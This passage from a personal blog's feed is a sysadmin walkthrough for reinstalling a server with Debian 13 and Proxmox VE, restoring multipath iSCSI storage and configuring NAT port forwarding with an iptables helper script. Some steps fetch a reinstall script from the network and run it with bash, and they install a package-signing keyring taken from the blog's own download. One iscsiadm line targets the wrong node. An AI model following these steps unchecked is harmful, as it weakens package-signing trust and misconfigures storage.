&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开启开机自动挂载.&lt;/p&gt;
&lt;p&gt;这个时候通过&lt;code&gt;lsblk&lt;/code&gt;之类的工具查看磁盘应该就能发现多了两块硬盘, 我这里多出来了&lt;code&gt;sdb&lt;/code&gt;和&lt;code&gt;sdc&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;配置multipath多路径&lt;/h2&gt;
&lt;p&gt;关于如何识别出是多路径设备, 我尝试通过:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb
/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看两个磁盘设备的&lt;code&gt;scsi_id&lt;/code&gt;, 发现二者是相同的, 因此可推断二者是同一块盘, 使用了多路来实现类似负载均衡和故障转移的效果&lt;/p&gt;
&lt;p&gt;使用apt安装&lt;code&gt;multipath&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install multipath-tools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着, 创建&lt;code&gt;/etc/multipath.conf&lt;/code&gt;并填入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defaults {
    user_friendly_names yes
    find_multipaths yes
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置&lt;code&gt;multipathd&lt;/code&gt;开机自启:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl start multipathd
systemctl enable multipathd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着, 使用如下指令扫描并自动配置多路设备:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;multipath -ll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会输出:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device
size=500G features=&apos;1 queue_if_no_path&apos; hwhandler=&apos;1 alua&apos;wp=rw
|-+- policy=&apos;service-time 0&apos; prio=50 status=active
| `- 14:0:0:152 sdb 8:16 active ready running
`-+- policy=&apos;service-time 0&apos; prio=50 status=active
  `- 14:0:0:152 sdc 8:16 active ready running
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可看到已经将两块盘识别成同一个多路设备了. 此时, 可以在&lt;code&gt;/dev/mapper/&lt;/code&gt;下找到多路设备的磁盘:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@localhost:/dev/mapper# ls
control  mpatha
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;mpatha&lt;/code&gt;即为多路聚合的磁盘.&lt;/p&gt;
&lt;p&gt;如果没扫描到，可尝试使用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rescan-scsi-bus.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重新扫描SCSI总线后再次尝试，若提示找不到这个指令可以用&lt;code&gt;apt install sg3-utils&lt;/code&gt;安装.
&lt;s&gt;实在不行咱重启一下&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;配置Proxmox VE使用数据盘&lt;/h2&gt;
&lt;p&gt;因为我们使用了多路, 因此不能直接选择添加iSCSI类型的存储.&lt;br /&gt;
使用如下指令创建PV和VG:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pvcreate /dev/mapper/mpatha
vgcreate &amp;lt;vg名称&amp;gt; /dev/mapper/mpatha
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处我将整块盘都配置成了PV, 你也可以单独划分出来一个分区来做这件事&lt;/p&gt;
&lt;p&gt;完成后, 打开Proxmox VE的后台管理, 找到&lt;strong&gt;Datacenter&lt;/strong&gt;-&lt;strong&gt;Storage&lt;/strong&gt;, 点击&lt;strong&gt;Add&lt;/strong&gt;-&lt;strong&gt;LVM&lt;/strong&gt;, &lt;strong&gt;Volume group&lt;/strong&gt;选择刚刚创建的VG的名称, &lt;strong&gt;ID&lt;/strong&gt;自己给他命个名, 然后点击&lt;strong&gt;Add&lt;/strong&gt;即可.&lt;/p&gt;
&lt;p&gt;自此, 所有原系统的配置应该已经都迁移过来了&lt;/p&gt;
&lt;h1&gt;配置NAT&lt;/h1&gt;
&lt;h2&gt;NAT地址转换&lt;/h2&gt;
&lt;p&gt;因为只买了一个IPv4地址, 所以需要配置一下NAT来让所有虚拟机都能正常上网.&lt;br /&gt;
打开&lt;code&gt;/etc/network/interfaces&lt;/code&gt;, 添加如下内容:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto vmbr0
iface vmbr0 inet static
    address   192.168.100.1
    netmask   255.255.255.0
    bridge_ports none
    bridge_stp off
    bridge_fd 0

    post-up   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
    post-up   iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-up   iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1
    post-up   iptables -A FORWARD -i vmbr0 -j ACCEPT
    post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1
    post-down iptables -D FORWARD -i vmbr0 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中, &lt;code&gt;vmbr0&lt;/code&gt;为NAT网桥, 网桥IP段为&lt;code&gt;192.168.100.0/24&lt;/code&gt; , 该网段流量会被转换为&lt;code&gt;ens6f0&lt;/code&gt;外网网卡的IP发出, 并在收到回复时转换为原始IP, 实现共享外部IP.&lt;/p&gt;
&lt;p&gt;接着, 使用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ifreload -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重载配置.&lt;/p&gt;
&lt;p&gt;到此, 虚拟机就已经能实现上网了, 只需要安装的时候配置静态地址为&lt;code&gt;192.168.100.0/24&lt;/code&gt;内的地址, 默认网关设置为&lt;code&gt;192.168.100.1&lt;/code&gt;, 并配置DNS地址即可.&lt;/p&gt;
&lt;h2&gt;端口转发&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;懒了, 直接拷打AI&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;让AI写了个配置脚本&lt;code&gt;/usr/local/bin/natmgr&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

# =================配置区域=================
# 公网网卡名称 (请根据实际情况修改)
PUB_IF=&quot;ens6f0&quot;
# =========================================

ACTION=$1
ARG1=$2
ARG2=$3
ARG3=$4
ARG4=$5

# 检查是否为 root 用户
if [ &quot;$EUID&quot; -ne 0 ]; then
  echo &quot;请使用 root 权限运行此脚本&quot;
  exit 1
fi

# 生成随机 ID (6位字符)
generate_id() {
    # 引入纳秒和随机盐以确保即使脚本执行速度很快，ID也不会重复
    echo &quot;$RANDOM $(date +%s%N)&quot; | md5sum | head -c 6
}

# 显示帮助信息
usage() {
    echo &quot;用法: $0 {add|del|list|save} [参数]&quot;
    echo &quot;&quot;
    echo &quot;命令:&quot;
    echo &quot;  add &amp;lt;公网端口&amp;gt; &amp;lt;内网IP&amp;gt; &amp;lt;内网端口&amp;gt; [协议]   添加转发规则&quot;
    echo &quot;      [协议] 可选: tcp, udp, both (默认: both)&quot;
    echo &quot;  del &amp;lt;ID&amp;gt;                                   通过 ID 删除转发规则&quot;
    echo &quot;  list                                       查看当前所有转发规则&quot;
    echo &quot;  save                                       保存当前规则，使其在重启后仍然存在 (必须运行!)&quot;
    echo &quot;&quot;
    echo &quot;示例:&quot;
    echo &quot;  $0 add 8080 192.168.100.101 80 both&quot;
    echo &quot;  $0 save&quot;
    echo &quot;&quot;
}

# 内部函数：添加单条协议规则
_add_single_rule() {
    local PROTO=$1
    local L_PORT=$2
    local T_IP=$3
    local T_PORT=$4

    local RULE_ID=$(generate_id)
    local COMMENT=&quot;NAT_ID:${RULE_ID}&quot;

    # 1. 添加 DNAT 规则 (PREROUTING 链)
    iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment &quot;$COMMENT&quot;

    # 2. 添加 FORWARD 规则 (允许数据包通过)
    iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment &quot;$COMMENT&quot; -j ACCEPT

    # 输出结果
    printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;$RULE_ID&quot; &quot;$PROTO&quot; &quot;$L_PORT&quot; &quot;$T_IP:$T_PORT&quot; &quot;成功&quot;
    
    # 提醒用户保存
    echo &quot;请运行 &apos;$0 save&apos; 命令以确保规则在重启后仍然存在。&quot;
}

# 主添加函数
add_rule() {
    local L_PORT=$1
    local T_IP=$2
    local T_PORT=$3
    local PROTO_REQ=${4:-both} # 默认为 both

    if [[ -z &quot;$L_PORT&quot; || -z &quot;$T_IP&quot; || -z &quot;$T_PORT&quot; ]]; then
        echo &quot;错误: 参数缺失&quot;
        usage
        exit 1
    fi

    # 转换为小写
    PROTO_REQ=$(echo &quot;$PROTO_REQ&quot; | tr &apos;[:upper:]&apos; &apos;[:lower:]&apos;)

    echo &quot;正在添加规则...&quot;
    printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;ID&quot; &quot;协议&quot; &quot;公网端口&quot; &quot;目标地址&quot; &quot;状态&quot;
    echo &quot;------------------------------------------------------------------&quot;

    if [[ &quot;$PROTO_REQ&quot; == &quot;tcp&quot; ]]; then
        _add_single_rule &quot;tcp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
    elif [[ &quot;$PROTO_REQ&quot; == &quot;udp&quot; ]]; then
        _add_single_rule &quot;udp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
    elif [[ &quot;$PROTO_REQ&quot; == &quot;both&quot; ]]; then
        _add_single_rule &quot;tcp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
        _add_single_rule &quot;udp&quot; &quot;$L_PORT&quot; &quot;$T_IP&quot; &quot;$T_PORT&quot;
    else
        echo &quot;错误: 不支持的协议 &apos;$PROTO_REQ&apos;。请使用 tcp, udp 或 both。&quot;
        exit 1
    fi
    echo &quot;------------------------------------------------------------------&quot;
}

# 删除规则 (基于行号倒序删除)
del_rule() {
    local RULE_ID=$1

    if [[ -z &quot;$RULE_ID&quot; ]]; then
        echo &quot;错误: 请提供规则 ID&quot;
        usage
        exit 1
    fi

    echo &quot;正在搜索 ID 为 [${RULE_ID}] 的规则...&quot;
    
    local FOUND=0

    # --- 清理 NAT 表 (PREROUTING) ---
    LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep &quot;NAT_ID:${RULE_ID}&quot; | awk &apos;{print $1}&apos; | sort -rn)
    if [[ ! -z &quot;$LINES&quot; ]]; then
        for line in $LINES; do
            iptables -t nat -D PREROUTING $line
            echo &quot;已删除 NAT 表 PREROUTING 链第 $line 行&quot;
            FOUND=1
        done
    fi

    # --- 清理 Filter 表 (FORWARD) ---
    LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep &quot;NAT_ID:${RULE_ID}&quot; | awk &apos;{print $1}&apos; | sort -rn)
    if [[ ! -z &quot;$LINES&quot; ]]; then
        for line in $LINES; do
            iptables -t filter -D FORWARD $line
            echo &quot;已删除 Filter 表 FORWARD 链第 $line 行&quot;
            FOUND=1
        done
    fi

    if [[ $FOUND -eq 0 ]]; then
        echo &quot;未找到 ID 为 $RULE_ID 的规则。&quot;
    else
        echo &quot;删除操作完成。&quot;
        echo &quot;请运行 &apos;$0 save&apos; 命令以更新持久化配置文件。&quot;
    fi
}

# 保存规则到磁盘 (新增功能)
save_rules() {
    echo &quot;正在保存当前的 iptables 规则...&quot;
    # netfilter-persistent 是 Debian/Proxmox 中管理 iptables-persistent 的服务
    if command -v netfilter-persistent &amp;amp;&amp;gt; /dev/null; then
        netfilter-persistent save
        if [ $? -eq 0 ]; then
            echo &quot;✅ 规则已成功保存到 /etc/iptables/rules.v4，将在系统重启后自动恢复。&quot;
        else
            echo &quot;❌ 规则保存失败。请检查 &apos;netfilter-persistent&apos; 服务状态。&quot;
        fi
    else
        echo &quot;警告: 未找到 &apos;netfilter-persistent&apos; 命令。&quot;
        echo &quot;请确保已安装 &apos;iptables-persistent&apos; 软件包。&quot;
        echo &quot;安装命令: apt update &amp;amp;&amp;amp; apt install iptables-persistent&quot;
    fi
}

# 列出规则
list_rules() {
    echo &quot;当前端口转发规则列表:&quot;
    printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;ID&quot; &quot;协议&quot; &quot;公网端口&quot; &quot;目标地址&quot; &quot;目标端口&quot;
    echo &quot;------------------------------------------------------------------&quot;

    # 解析 iptables 输出
    iptables -t nat -nL PREROUTING -v | grep &quot;NAT_ID:&quot; | while read line; do
        id=$(echo &quot;$line&quot; | grep -oP &apos;(?&amp;lt;=NAT_ID:)[^ ]*&apos;)
        
        # 提取协议
        if echo &quot;$line&quot; | grep -q &quot;tcp&quot;; then proto=&quot;tcp&quot;; else proto=&quot;udp&quot;; fi
        
        # 提取 dpt: 之后的端口
        l_port=$(echo &quot;$line&quot; | grep -oP &apos;(?&amp;lt;=dpt:)[0-9]+&apos;)
        
        # 提取 to: 之后的 IP:Port
        target=$(echo &quot;$line&quot; | grep -oP &apos;(?&amp;lt;=to:).*&apos;)
        t_ip=${target%:*}
        t_port=${target#*:}

        printf &quot;%-10s %-10s %-10s %-20s %-10s\n&quot; &quot;$id&quot; &quot;$proto&quot; &quot;$l_port&quot; &quot;$t_ip&quot; &quot;$t_port&quot;
    done
}

# 主逻辑
case &quot;$ACTION&quot; in
    add)
        add_rule &quot;$ARG1&quot; &quot;$ARG2&quot; &quot;$ARG3&quot; &quot;$ARG4&quot;
        ;;
    del)
        del_rule &quot;$ARG1&quot;
        ;;
    list)
        list_rules
        exit 0
        ;;
    save)
        save_rules
        ;;
    *)
        usage
        exit 1
        ;;
esac
save_rules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让其自动添加/删除iptables规则实现端口转发. 记得&lt;code&gt;chmod +x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;iptables-persistent&lt;/code&gt;实现保存配置开机自动加载:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install iptables-persistent
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置过程中会询问是否需要保存当前规则，Yes或者No都可以。&lt;/p&gt;
&lt;p&gt;添加转发规则时使用&lt;code&gt;natmgr add &amp;lt;主机监听地址&amp;gt; &amp;lt;虚拟机内网IP&amp;gt; &amp;lt;虚拟机端口&amp;gt; [tcp/udp/both]&lt;/code&gt;即可, 脚本会自动分配一个唯一ID, 删除时使用&lt;code&gt;natmgr del &amp;lt;ID&amp;gt;&lt;/code&gt;即可. 也可使用&lt;code&gt;natmgr list&lt;/code&gt;查看已有转发列表.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bin456789/reinstall&quot;&gt;bin456789/reinstall: 一键DD/重装脚本 (One-click reinstall OS on VPS) - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_12_Bookworm&quot;&gt;Install Proxmox VE on Debian 12 Bookworm - Proxmox VE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_26129413/article/details/121790221&quot;&gt;PVE连接 TrueNAS iSCSI存储实现本地无盘化_pve iscsi-CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://frytea.com/archives/1445/&quot;&gt;ProxmoxVE (PVE) NAT 网络配置方法 - Oskyla 烹茶室&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding</title><link>https://blog.iyoroy.cn/posts/en-233/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-233/</guid><description>Reinstalling a dedicated server with Debian 13 and Proxmox VE, restoring multipath iSCSI storage, and setting up NAT and port forwarding for its VMs.</description><pubDate>Sat, 29 Nov 2025 09:39:00 GMT</pubDate><content:encoded>&lt;p&gt;The reason was that I rented a physical server, but the IDC did not provide Proxmox VE or Debian system images, only Ubuntu, CentOS, and Windows series. Additionally, the data disk was provided via multipath iSCSI. I wanted to use PVE for isolating different usage scenarios, so I attempted to reinstall the system and migrate the aforementioned configurations.&lt;/p&gt;
&lt;h1&gt;Backup Configuration&lt;/h1&gt;
&lt;p&gt;First, perform a general check of the system, which reveals:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The system has two Network Interfaces: &lt;code&gt;enp24s0f0&lt;/code&gt; is connected to a public IP address for external access; &lt;code&gt;enp24s0f1&lt;/code&gt; is connected to the private network address &lt;code&gt;192.168.128.153&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The data disk is mapped to &lt;code&gt;/dev/mapper/mpatha&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Under &lt;code&gt;/etc/iscsi&lt;/code&gt;, there are configurations for two iSCSI Nodes: &lt;code&gt;192.168.128.250:3260&lt;/code&gt; and &lt;code&gt;192.168.128.252:3260&lt;/code&gt;, both corresponding to the same target &lt;code&gt;iqn.2024-12.com.ceph:iscsi&lt;/code&gt;.
It can be inferred that the data disk is mounted by configuring two iSCSI Nodes and then merging them into a single device using multipath.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Check the system&apos;s network configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;network:
  version: 2
  renderer: networkd
  ethernets:
    enp24s0f0:
      addresses: [211.154.[REDACTED]/24]
      routes:
        - to: default
          via: [REDACTED]
      match:
          macaddress: ac:1f:6b:0b:e2:d4
      set-name: enp24s0f0
      nameservers:
        addresses:
          - 114.114.114.114
          - 8.8.8.8
    enp24s0f1:
      addresses:
        - 192.168.128.153/17
      match:
        macaddress: ac:1f:6b:0b:e2:d5
      set-name: enp24s0f1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s found to be very simple static routing. The internal network interface doesn&apos;t even have a default route; just binding the IP is sufficient.&lt;/p&gt;
&lt;p&gt;Then, save the iSCSI configuration files from &lt;code&gt;/etc/iscsi&lt;/code&gt;, which include account and password information.&lt;/p&gt;
&lt;h1&gt;Reinstall Debian&lt;/h1&gt;
&lt;p&gt;Used the &lt;a href=&quot;https://github.com/bin456789/reinstall&quot;&gt;bin456789/reinstall&lt;/a&gt; script for this reinstallation.
Download the script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reinstall as Debian 13 (Trixie):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash reinstall.sh debian 13
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, enter the password you want to set as prompted.&lt;/p&gt;
&lt;p&gt;If all goes well, wait about 10 minutes, and it will automatically complete and reinstall into a clean Debian 13. You can connect via SSH during the process using the set password to check the installation progress.&lt;/p&gt;
&lt;p&gt;After reinstalling, perform a source change and &lt;code&gt;apt upgrade&lt;/code&gt; as usual to get a clean Debian 13.
For changing sources, directly refer to the &lt;a href=&quot;https://mirrors.ustc.edu.cn/help/debian.html&quot;&gt;USTC Mirror Site tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Install Proxmox VE&lt;/h1&gt;
&lt;p&gt;This step mainly refers to the Proxmox official &lt;a href=&quot;https://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_12_Bookworm&quot;&gt;tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note: The Debian installed by the above script sets the hostname to &lt;code&gt;localhost&lt;/code&gt;. If you want to change it, please modify it &lt;strong&gt;before configuring the Hostname&lt;/strong&gt; and change the hostname in hosts to your modified hostname, not &lt;code&gt;localhost&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Configure Hostname&lt;/h2&gt;
&lt;p&gt;Proxmox VE requires the current hostname to be resolvable to a non-loopback IP address:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like &lt;code&gt;127.0.0.1&lt;/code&gt; but one that you and other hosts can connect to.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For example, my server IP is &lt;code&gt;211.154.[CENSORED]&lt;/code&gt;, I need to add the following record in &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1       localhost
+211.154.[CENSORED] localhost
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After saving, use &lt;code&gt;hostname --ip-address&lt;/code&gt; to check if it outputs the set non-loopback address: &lt;code&gt;::1 127.0.0.1 211.154.[CENSORED]&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Add Proxmox VE Software Repository&lt;/h2&gt;
&lt;p&gt;Debian 13 uses the Deb822 format &lt;s&gt;(though you can use sources.list if you want)&lt;/s&gt;, so just refer to the &lt;a href=&quot;https://mirrors.ustc.edu.cn/help/proxmox.html&quot;&gt;USTC Proxmox Mirror Site&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;gt; /etc/apt/sources.list.d/pve-no-subscription.sources &amp;lt;&amp;lt;EOF
Types: deb
URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve
Suites: trixie
Components: pve-no-subscription
Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, a keyring needs to be migrated &lt;s&gt;but I couldn&apos;t find one after searching online&lt;/s&gt;, so I chose to pull a copy from an existing Proxmox VE server. It&apos;s available here: &lt;a href=&quot;/downloads/2025/11/4102711242.zip&quot;&gt;proxmox-keyrings.zip&lt;/a&gt;
Extract the public key file and place it in &lt;code&gt;/usr/share/keyrings/&lt;/code&gt;, then run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update
apt upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will sync the Proxmox VE software repository.&lt;/p&gt;
&lt;h2&gt;Install Proxmox VE Kernel&lt;/h2&gt;
&lt;p&gt;Use the following command to install the PVE kernel and reboot to apply the new kernel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install proxmox-default-kernel
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Afterwards, &lt;code&gt;uname -r&lt;/code&gt; should show a kernel version ending with &lt;code&gt;pve&lt;/code&gt;, like &lt;code&gt;6.17.2-2-pve&lt;/code&gt;, indicating the new kernel is successfully applied.&lt;/p&gt;
&lt;h2&gt;Install Proxmox VE Related Packages&lt;/h2&gt;
&lt;p&gt;Use apt to install the corresponding packages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install proxmox-ve postfix open-iscsi chrony
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During configuration, you will need to set up the &lt;code&gt;postfix&lt;/code&gt; mail server. Official explanation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you have a mail server in your network, you should configure postfix as a &lt;strong&gt;satellite system&lt;/strong&gt;. Your existing mail server will then be the relay host which will route the emails sent by Proxmox VE to their final recipient.&lt;br /&gt;
If you don&apos;t know what to enter here, choose &lt;strong&gt;local only&lt;/strong&gt; and leave the &lt;em&gt;system name&lt;/em&gt; as is.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After this, you should be able to access the Web console at &lt;code&gt;https://&amp;lt;your server address&amp;gt;:8006&lt;/code&gt;. The account is &lt;code&gt;root&lt;/code&gt;, and the password is your root password, i.e., the password configured during the Debian reinstallation.&lt;/p&gt;
&lt;h2&gt;Remove Old Debian Kernel and &lt;code&gt;os-prober&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Use the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt remove linux-image-amd64 &apos;linux-image-6.1*&apos;
update-grub
apt remove os-prober
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to remove the old Debian kernel, update grub, and remove &lt;code&gt;os-prober&lt;/code&gt;. Removing &lt;code&gt;os-prober&lt;/code&gt; is not mandatory, but it is recommended by the official guide because it might mistakenly identify VM boot files as multi-boot files, adding incorrect entries to the boot list.&lt;/p&gt;
&lt;p&gt;At this point, the installation of Proxmox VE is complete and ready for normal use!&lt;/p&gt;
&lt;h1&gt;Configuring Internal Network Interface&lt;/h1&gt;
&lt;p&gt;Because the iSCSI network interface and the public network interface are different, and the reinstallation lost this configuration, the internal network interface needs to be manually configured.
Open the Proxmox VE Web interface, go to &lt;strong&gt;Datacenter&lt;/strong&gt; - &lt;strong&gt;localhost&lt;/strong&gt; (hostname) - &lt;strong&gt;Network&lt;/strong&gt;, edit the internal network interface (e.g., &lt;code&gt;ens6f1&lt;/code&gt; here), enter the backed-up IPv4 in CIDR format: &lt;code&gt;192.168.128.153/17&lt;/code&gt;, and check &lt;strong&gt;Autostart&lt;/strong&gt;, then save.
Then use the command to set the interface state to UP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link set ens6f1 up
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you should be able to ping the internal iSCSI server&apos;s IP.&lt;/p&gt;
&lt;h1&gt;Configure Data Disk&lt;/h1&gt;
&lt;h2&gt;iSCSI&lt;/h2&gt;
&lt;p&gt;In the previous step, we should have installed the &lt;code&gt;open-iscsi&lt;/code&gt; package required for &lt;code&gt;iscsiadm&lt;/code&gt;. We just need to reset the nodes according to the backed-up configuration.&lt;/p&gt;
&lt;p&gt;First, discover the iSCSI storage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m discovery -t st -p 192.168.128.250:3260
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should yield the two original LUN Targets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi
192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Transfer the backed-up configuration files to the server, overwriting the existing configuration in &lt;code&gt;/etc/iscsi&lt;/code&gt;. Also, in my backed-up config, I found the authentication configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # Some unimportant configurations omitted
node.session.auth.authmethod = CHAP
node.session.auth.username = [CENSORED]
node.session.auth.password = [CENSORED]
node.session.auth.chap_algs = MD5
... # Some unimportant configurations omitted
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # Some unimportant configurations omitted
node.session.auth.authmethod = CHAP
node.session.auth.username = [CENSORED]
node.session.auth.password = [CENSORED]
node.session.auth.chap_algs = MD5
... # Some unimportant configurations omitted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Write these configurations to the new system using:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(I don&apos;t know why the auth info needs to be written separately, but testing shows it won&apos;t log in without rewriting it.)&lt;/p&gt;
&lt;p&gt;Then, use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to log into the Targets. Then use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic
